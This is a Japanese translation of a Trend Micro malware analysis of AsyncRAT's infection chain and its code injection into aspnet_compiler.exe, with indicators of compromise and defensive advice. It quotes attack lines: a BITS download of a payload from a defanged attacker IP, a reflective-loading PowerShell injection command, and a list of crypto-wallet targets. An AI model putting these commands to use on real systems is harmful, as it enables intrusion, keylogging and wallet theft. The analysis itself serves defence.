マルウェア
「AsyncRAT」によるaspnet_compiler.exeへのコードインジェクションの解析
本稿では、MxDRにより解明された「AsyncRAT」の感染チェーンとASP.NET アプリケーションをプリコンパイルするためのMicrosoftの公式ユーティリティaspnet_compiler.exeの不正使用について解説します。
トレンドマイクロの「Managed XDR(MxDR)」チームは、AsyncRATに関連するさまざまな事例を調査しました。AsyncRATは、キーロギングやリモートデスクトップコントロールなど複数の機能を備えたRAT(リモートアクセスプログラム/ツール)です。
本稿では、MxDRにより解明されたAsyncRATの感染チェーンとASP.NET アプリケーションをプリコンパイルするためのMicrosoftの公式ユーティリティであるaspnet_compiler.exeの不正使用について解説します。なお、攻撃者はAsyncRATのペイロードを埋め込む手口により、本プロセスを悪用します。そして、これは攻撃者の戦術が常に進化していることも同時に示しています。
2023年初め、トレンドマイクロの「脅威ハンティング(Threat Hunting)」 チームは、AsyncRATの機能を巧みに利用したランサムウェアによる感染を確認しました。このランサムウェアは、本稿で解説するTTPs(テクニック、戦術、手順)と共通した技術を採用することで、セキュリティ対策ツールによる検出を効果的に回避していました。その後、攻撃者は、aspnet_compiler.exe プロセスを介した「リフレクティブローディング(Reflective Loading)」を用いて、各ペイロードを展開しました。
さまざまな調査研究によりAsyncRATの感染過程を精査した結果、本マルウェアのオペレーターが多様な技術を採用していることが明らかになりました。一例として、2019年および2020年の攻撃では、初期のパンデミックに乗じて、Covid-19をテーマにしたAsyncRATの修正版が配布されていました。また別の事例では、攻撃者が銀行や法執行機関になりすますことで、特定の標的に対しAsyncRATを拡散していました。
AsyncRATは、2021年に開始されたフィッシング攻撃「Operation Spalax」の一部として、実行に加わっていました。2022年前半まで続いた、このフィッシング攻撃では、AsyncRATの拡散にHTML形式の添付ファイルが使用されました。また、リフレクティブローディング技術も採用していたことが明らかになっています。このような事実から、本マルウェアは、多様な機能や攻撃ベクトルを持ち合わせていると考えられます。
ピボットポイント
トレンドマイクロの調査は、Trend Vision OneのWorkbench(悪意のあるアクティビティの全体像を可視化する機能)によるアラートを発端として開始されました。
図1は、aspnet_compiler.exeに関連する「不審な活動」の検出を表しています。ここでは、外部IPアドレス「45[.]141[.]215[.]40」との接続を確立しようと試みています。また、解析により、関連するPowerShellスクリプトとバッチファイルが短い間隔で実行されていたことも判明しました。これらのデータを軸にして、トレンドマイクロはファイルのエントリポイントと特定のアクティビティを遡り、調査を実施しました。
感染のトリガとなったのは、最初にGoogle Chromeを介してダウンロードされた以下のファイルでした。
downloadedFile_SSAfnmeddOFzc.zip
C:\Program Files\Google\Chrome\Application\chrome.exe
C:\Users\<username>\Downloads\downloadedFile_SSAfnmeddOFzc.zip
その後、ユーザは以下のスクリプトファイルfが含まれているZIPファイルを開きました。なお、このZIPファイルにはパスワードが設定されていました。
downloadedFile_SSAfnmedd.ws
最近の報告によると、ユーザはスパムメールを媒体としてAsyncRATに感染します。そのため、ユーザがZIPファイルを解凍するためのパスワードを不正なリンクとともに受信した可能性が高いと考えられます。その後、ユーザはそのパスワードを用いてファイルを解凍したと推測されます。これは、検出を回避するために攻撃者が使用する一般的な手口です。
C:\Users\<username>\AppData\Local\Temp\Temp923a29cc-d4fd-4950-9b7d-801ff92f7bea_downloadedFile_SSAfnmeddOFzc.zip\downloadedFile_SSAfnmeddOFzc.wsf
実行プロファイルを調査した結果、Windowsエクスプローラーを介してwscript.exeが実行(ユーザによるダブルクリック)されていることが判明しました。なお、インストールシーケンスには、複数の PowerShell スクリプト (.ps1)、VBScript (.vbs)、バッチファイル (.bat) の作成および実行が含まれます。
トレンドマイクロは、AMSI(マルウェア対策スキャンインターフェイス)テレメトリ(TELEMETRY_AMSI_EXECUTE)を使用することで、実行時の以下に関連するデータを収集しました。
downloadedFile_SSAfnmedOFzc.wsf
また、当データの収集により、ファイルの使用目的や対応するアクティビティを特定することが可能となりました。
IHost.CreateObject("WScript.Shell");|
IFileSystem3.CreateTextFile("C:\Users\Public\VLCdllFrame.xml", "true");
ITextStream.Write("<command> <a> <execute>Start-BitsTransfer -Source "hxxp://185[.]81[.]157[.]246:222/dd/mc.jpg" -Destination "C:\Users\Public\snakers.zip"; Expand-Archive -Path "C:\Users\Public\snakers.zip" -DestinationPath "C:\Users\Public\" -Fo");
ITextStream.Close();
IHost.CreateObject("WScript.Shell");
IFileSystem3.CreateTextFile("C:\Users\Public\VLCdllFrame.xml", "true");
ITextStream.Write("<command> <a> <execute>Start-BitsTransfer -Source "hxxp://185[.]81[.]157[.]246:222/dd/mc.jpg" -Destination "C:\Users\Public\snakers.zip"; Expand-Archive -Path "C:\Users\Public\snakers.zip" -DestinationPath "C:\Users\Public\" -Fo");
ITextStream.Close();
IWshShell3.Run("powershell -command "[xml]$xmldoc = Get-Content 'C:\Users\Public\VLCdllFra", "0", "true");
IHost.CreateObject("WScript.Shell");
IFileSystem3.CreateTextFile("C:\Users\Public\VLCdllFrame.xml", "true");
ITextStream.Write("<command> <a> <execute>Start-BitsTransfer -Source "hxxp://185[.]81[.]157[.]246:222/dd/mc.jpg" -Destination "C:\Users\Public\snakers.zip"; Expand-Archive -Path "C:\Users\Public\snakers.zip" -DestinationPath "C:\Users\Public\" -Fo");
ITextStream.Close();
IWshShell3.Run("powershell -command "[xml]$xmldoc = Get-Content 'C:\Users\Public\VLCdllFra", "0", "true");
IFileSystem3.DeleteFile("C:\Users\Public\VLCdllFrame.xml");
以下のスクリプトは、Windows Script File (.wsf)です。このスクリプトファイルは、PowerShellとVBScriptコマンドを組み合わせることで、一連のアクションを実行します。
downloadedFile_SSAfnmeddOFzc.wsf
また、shellコマンドを実行するために一般的に使用される WScript.Shellオブジェクトを作成します。さらに、以下のディレクトリ内に以下のテキストファイルを作成します。
C:UsersersPublic
VLCdllFrame.xml
そして、第二パラメータが「true」に設定されている場合には、既存のファイルは上書きされます。
このスクリプトは、以下のコマンドを使用して、
Start-BitsTransfer
以下からファイルをダウンロードし、
hxxp://185[.]81[.]157[.]246:222/dd/mc.jpg
以下として保存します。
snakers.zip
その後、コンテンツを以下のいずれかのディレクトリにおいて展開します。
C:∕Users∕Public∕
C:∕Users∕Public∕Pictures∕
なお、PowerShellコマンドの実行後、スクリプトは作成した以下のファイルを削除します。
VLCdllFrame.xml
snakers.zipのコンテンツを解析したところ、複数の不正なスクリプトの存在が明らかになりました。これらはすべて、AsyncRATのインストール過程において不可欠なコンポーネントです。
図 4 は 、Vision Oneが作成した実行プロファイルです。ここでは、AsyncRATのインストール過程における一連のイベントが表示されています。AsyncRATのインストールは、ユーザによる以下の開封をトリガとします。
downloadedFile_SSAfnmeddOFzc.wsf
トレンドマイクロは、aspnet_compiler.exeが以下のIPアドレスへの接続を確立していることを確認しました。
208[.]95[.]112[.]1:80(ip-api[.]com)
45[.]141[.]215.40:4782(httpswin10[.]kozow[.]com)
一つ目のIPアドレスは、ジオロケーション(Geolocation)のチェックに使用されます。また、二つ目のIPアドレス(無償のダイナミックDNS )は、攻撃者が真のサーバのIPアドレスを難読化することで、セキュリティ対策ツールによる検出を回避するために使用していると推測されます。これは、必要に応じてIPアドレスを迅速に変更することが可能なためです。
他の事例では、異なる以下のダイナミックDNSサーバに接続していることが確認されました。
66escobar181[.]ddns[.]net
スケジュールされたタスクは、タスク名 Reklam または Rekill として作成され、AsyncRATに永続化機能を提供します。図6は、Windowsのタスクスケジューラサービスを使用して、2分ごとに以下のいずれかを実行する「スケジュールされたタスク」を作成するスクリプトWebcentral.ps1のコンテンツを表しています。
C:∕UsersPublic∕hash.vbs
C:∕UsersPublic∕Pictures∕hash.vbs
スクリプトの解析
関連するスクリプトを解析することで、攻撃者の目的をより深く把握することが可能となりました。図 7は、本マルウェアがセキュリティ対策ツールによる検出を回避する手段として、「複数のレイヤとして機能するスクリプト」を戦略的に使用していることを表しています。また、本マルウェアはspnet_compiler.exeへのコードインジェクションも実行します。
以下では、snakers.zipから展開された各スクリプトについて解説します。
Webcentral.vbs
このスクリプトは、net sessionコマンド(図8の9、10行)を使用することで、管理者権限により実行されているか否かをチェックします。管理者権限で実行されている場合には、攻撃者に対し、当該権限が存在することを通知(isAdmin)します。また、以下の変数に格納されたコマンドを実行します。
executionCommand
その後、以下のバッチファイルを実行します。
C: ¥Users¥Public¥Webcentral.bat
このスクリプトには、エラーを管理してスクリプトのスムーズな実行を維持するために、「On Error Resume Next」および「On Error GoTo 0」構文を用いたエラー処理技術が含まれます。
Webcentral.bat
このスクリプトは、以下に存在するスクリプトのPowerShell による実行を開始します。
C:¥Users¥Public¥Webcentral.ps1
また、以下のパラメータを使用することで、実行ポリシーをバイパスし、非表示のウィンドウで実行します。
-NoProfile
-WindowStyle Hidden
-ExecutionPolicy BypassPowerShell
Webcentral.ps1
このスクリプトは、2分ごとに以下のスクリプトを実行するスケジュールされたタスクReklamを作成します。
hash.vbs
当タスクは有効化され、デバイスがバッテリーで動作している場合でも実行が開始されます。以下のディレクトリに存在するこのスクリプトは、スケジュールされたタスクのアクションとして実行されます。
C:¥Users¥Public¥
なお、当タスクは、Windowsのタスクスケジューラサービスを使用して登録されます。
Hash.vbs
Hash.vbsは、Webcentral.vbsと同じスクリプトですが、以下の異なるファイルを実行します。
C:∕Users∕Public∕hash.bat
Hash.bat
Hash.batは、Hash.vbsと同様にWebscentral.batと同じスクリプトですが、以下の異なるファイルを実行します。
C:¥Users¥Public¥hash.ps1
Hash.ps1
Hash.ps1は、msg.txtとrunpe.txt でエンコードされたPEファイル(ポータブル実行可能ファイル)を復号、ロードします。そして、これが以下のファイルを実行するトリガとして機能します。
aspnet_compiler.exe
その後、復号されたrunpe.txtの関数を用いて、AsyncRATのペイロード(復号されたmsg.txt)を新しく生成された以下のこのプロセスに埋め込みます。
aspnet_compiler.exe
復号されたスクリプトは以下の通りです。
[System.Reflection.Assembly]::Load($decoded_runpe_payload).GetType('NewPE2.PE').GetMethod('Execute').'Invoke'.Invoke($null, [object[]]('C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe', $decoded_msg_payload))
これは、.NETアセンブリ(NewPE2.PEタイプ)を動的にロードし、そのExecuteメソッドを呼び出す PowerShellスクリプトです。
このExecuteメソッドは、以下に関連するコードをプロセスに埋め込むために使用されます。
aspnet_compiler.exe
また、本メソッドには、攻撃者が正規の以下のプロセスのコンテキスト内において追加コードを実行する「不正なコードインジェクション」を可能とする設計も施されています。
aspnet_compiler.exe
復号されたrunpe.txt(プロセスインジェクタコード)
runpe.txt ファイルの復号されたコンテンツ(図12)は、スクリプトhash.ps1で使用されるコードを表しています。これは、以下へのプロセスインジェクションを実行するためのコードです。
aspnet_compiler.exe
復号されたmsg.txt(AsyncRATのペイロード)
不正活動の初期段階において復号された設定(Config)で、注目すべき値は、以下のホスト名および接続先のポート番号6666です。
66escobar181[.]ddns[.]net
その他の機能
AsyncRATのバックドアは、埋め込まれた各設定に対応した機能を有します。これらの機能には、アンチデバッグおよびマルウェア解析のチェック、パーシステンス(永続化)のインストール、キーロギングなどが含まれます。図13のコードスニペットは、埋め込まれた以下の設定におけるキーロギングが有効か否かをチェックします。
embeddedConfig
キーロギングが有効な場合、新しいスレッドを起動して以下のメソッドを実行します。
startKeylogging
トレンドマイクロが入手した検体ファイルでは、キーロギングのみが有効に設定されていました。この場合、攻撃者は感染したマシンのすべてのキーストロークをキャプチャ、記録した上で制御するサーバにデータを送信することが可能となります。
キーロギングは、関連する以下のプログラムに対応するロギングキーにより終了します。
getActiveApplicationName()
その後、以下iにおいて情報が記録されます。なお、このインタラクションは、テンポラリディレクトリ内の特定のログファイルにおいて確認されました。
%TEMP%Log.tmp
このコードスニペットは、設定からホストとポートを動的に選択します。AsyncRATは、さまざまなIPアドレスやポートとインタラクトするためにソケット通信を採用することで、そのインフラを動的かつ適応性のあるものにしています。また、この通信により、攻撃者がサーバアドレスを頻繁に変更することも可能となり、通信チャネルの予測やブロックが難しくなります。
さらに、本コードにはエラー処理メカニズムが含まれています。そのため、特定のIPアドレスやポートへの接続に問題が生じた場合、代替接続を試行することやデフォルト設定に戻すことができます。これらの仕組みにより、セキュリティ対策ツールによる検出を回避するための手口がさらに強化されます。
AsyncRATのペイロードは、サーバに接続する際にクライアント情報(ユーザ名、コンピュータ情報、インストールされているウイルス対策ソフトや暗号資産ウォレット等)を収集します。
AsyncRATは、アプリケーションディレクトリ内のフォルダ、ブラウザ拡張機能、ユーザデータをスキャンすることで、暗号資産ウォレットに関連するフォルダ名を特定します。また、暗号資産ウォレットがシステム内に存在するか否かも確認します。
暗号資産ウォレットに対するチェック機能を有するコードスニペットは、以下の文字列に関連するディレクトリに対して検索要求を行います。
- Atomic
- Binance
- BinanceEdge
- BitcoinCore
- BitKeep
- BitPay
- Coinbase
- Coinomi
- Electrum
- F2a
- LedgerLive
- Meta
- Phantom
- RabbyWallet
- Ronin
- TronLink
- Trust
感染の傾向
2023年初頭の時点において、AsyncRATによる感染は依然として続いています。本マルウェアは、PowerShell、Windowsスクリプトファイル(WSF)、VBScript (VBS)などのさまざまなファイルタイプを使用して、セキュリティ対策ツールによる検出を回避しています。また、Any.runの「Weekly Malware Trends」のトップ10にAsyncRATが過去数ヶ月間、常にランクインしていることは注目に値します。
トレンドマイクロによる最近の調査でも、この傾向は一致しています。なお、各調査において、作成されたスクリプト、使用されたドメイン、観察されたインジェクションプロセスにおいて微妙な差は存在します。本マルウェアは、さまざまな手口により検出を回避していますが、一貫している点は、ネットワークインフラに、主にNo-IPやDuckDNSにより提供される「ダイナミックDNS(DDNS)」を使用していることです。
復号されたAsyncRATのペイロードを解析した結果、AsyncRATのC&Cトラフィックの特徴である「AsyncRATサーバに関連する証明書」が使用されていることが判明しました。通常、Subjectフィールドにおけるコモンネームは「AsyncRAT Server」または「AsyncRAT Server CA」が設定されます(The State of SSL/TLS Certificate Usage in Malware C&C Communications)。これらのコモンネームを調査することは、AsyncRATによる感染を特定する上で大変重要です。
マルウェアの設定から、ID 3LOSH RATの存在が明らかになりました。これは、難読化とステルス化を目的として、ペイロードが3LOSH暗号化ツールを採用している可能性を示唆しています。また、感染過程のさまざまな段階において複数のスクリプトを使用していることも推測されます。さらに、Talosにより実施された調査においても、マルウェアが活動を効率化するために、暗号化ツールによる難読化を実施した同様の事例が確認されています。
AsyncRATの検体ファイル調査により、以下に対し使用されたインジェクションコードとGitHubのオープンソースリポジトリとの間にコードの類似性が確認されました。
aspnet_compiler.exe
一方、お客様の環境から取得した AsyncRATの検体とGitHubリポジトリ上のバージョンとの間に存在する二つの顕著な相違点も明らかになりました。
まず、トレンドマイクロが取得した検体には、スキャンされた暗号資産ウォレットの一つとして「BoolWallets」が含まれていました。次に、GitHub上のバージョンにはキーロギング機能が存在しませんでした。しかし、トレンドマイクロが取得したコードには、キーロギング機能が存在していました(GitHubリポジトリ内で発見された異なる検体と類似)。これらの相違点は、攻撃者がGitHubのコードを特定の目的に沿うようにカスタマイズしたことを示唆しています。
ダイナミックDNSの使用
ダイナミックDNSは、ドメイン名に紐づけられているIPアドレスを攻撃者が迅速に変更することを可能にします。一方、不正活動を検出してブロックするセキュリティシステムが頻繁に変更されるIPアドレスに対応することは容易ではありません。
トレンドマイクロの調査により、No-IPやDynu Systems, Inc.で登録されたC&Cドメインが明らかになりました。以下のドメインには、
66escobar181[.]ddns[.]net
以下のIPアドレスが割り当てられていました。
185[.]150[.]25[.]181
VirusTotalの解析によると、不正と判断されたドメインは、すべて同じIPアドレスに紐づけられていました。
IP情報をさらに精査した結果、多様なサービス(ゲームサーバ、Webサイト、仮想専用サーバ等)を提供するホスティングプロバイダ「Zap-Hosting」との関連性が判明しました。また、ホスティングプロバイダに関連する IP アドレスが割り当てられていた以下の別のドメインについても同様のパターンが確認されました。
httpswin10[.]kozow[.]com
さらに、このIP アドレスは複数の不正なドメインと共有されていました。
これらの攻撃手法は、DDNSとホスティングプロバイダを活用した攻撃者の一貫した戦略の方向性を示しています。彼らは、不正活動を隠蔽するための努力は惜しみません。そして、同時に、セキュリティ側の課題(AsyncRATの追跡と被害の軽減)も浮き彫りになりました。
まとめ
本稿では、さまざまな機能(不正アクセス、キーロギング、リモートデスクトップコントロール、隠密性の高いファイル操作等)を備えたリモートアクセス型トロイの木馬「AsyncRAT」について解説しました。
「Living off the land」手法を組み込んだ複数の難読化済みスクリプトを戦略的に使用することで、攻撃に柔軟性が生まれ、検出を回避することが可能となります。さらに、以下のような正規ファイルへのコードインジェクションと相まって、本マルウェアの攻撃手法は、セキュリティ対策の難易度を著しく高めています。
aspnet_compiler.exe
さらに、攻撃者はダイナミックホストサーバを使用することで、IPアドレスを絶え間なく更新し、ステルス性を強化しています。
AsyncRATの目的は、重要な情報(ユーザ名、パスワード、暗号資産ウォレット等)を密かに流出させることです。キーロギングによってキャプチャされたキーストロークを用いて、攻撃者は認証情報を窃取します。そして、この認証情報を使用することで、攻撃者が被害者の金融口座にアクセスすることが可能となります。
本稿で解説したAsyncRAT の攻撃手法は、Trend Micro Managed XDRのようなサイバー攻撃やインシデントの発生を24時間365日監視するサービスの重要性を強調します。過去の事例では、トレンドマイクロがAsyncRATを早期に検出したため、お客様のランサムウェア感染による被害を防ぐことができました。
推奨事項
- 挙動検知機能とWebレピュテーション機能の有効化
- 挙動検知機能は、スクリプトやその他実行可能なコードの実行時における挙動を監視します。また、常にスクリプトの挙動を把握し、期待される動作からの逸脱を特定します。
- WebレピュテーションはTrend Microによって収集された膨大な不正URLのビッグデータを利用して、Webからの脅威の出所である不正URLへのアクセスをブロックする機能です。 また、複合型攻撃などによる端末感染後の不正プログラムのダウンロード元URLへのアクセスからも防御することができます。
- スクリプトの制限
- VBScriptやPowerShellスクリプトの機能が不要な場合には、これらの実行を制限または無効にすることで、スクリプトを不正活動に利用する攻撃者の能力を制限することができます。
- 24時間365日の監視
- AsyncRATの「永続性」や「常に進化を続ける」特徴を考慮すると、24時間365日体制の監視サービス(MxDR等)を導入し、プロアクティブな脅威の検出と防御を行うことが重要です。潜在的な侵害に対し、迅速に対応するセキュリティ対策ツールの機能は、攻撃対象となる環境への影響を軽減するだけでなく、AsyncRATのような脅威による感染リスクを最小化することができます。
- 電子メールのセキュリティ
- 強力なメールセキュリティ対策を導入することで、スパムメールを介して配信される AsyncRAT などのマルウェアによる感染を防ぐことができます。また、不正なリンクのクリックや不正なファイルのダウンロードへの対策も実施すること可能です。
- メールセキュリティ対策は、脅威の侵入経路を包括的に可視化します。また、これらの情報は、MxDR による調査のための追加的なデータソースとしても活用されます。なお、メールセキュリティ対策を導入していない場合や他社のセキュリティ対策を導入している場合には、該当する電子メールをトレンドマイクロのデータソースとして分析することはできません。
- ユーザ教育
- 電子メールの添付ファイルを開いたり、リンクをクリックすることが「未知もしくは信頼できないソース」からスクリプトをダウンロードすることにつながる危険性を知ることが大切です。
参考記事
Analyzing AsyncRAT's Code Injection into aspnet_compiler.exe Across Multiple Incident Response Cases
By: Buddy Tancio, Fe Cureg, Maria Emreen Viray
翻訳:新井 智士(Core Technology Marketing, Trend Micro™ Research)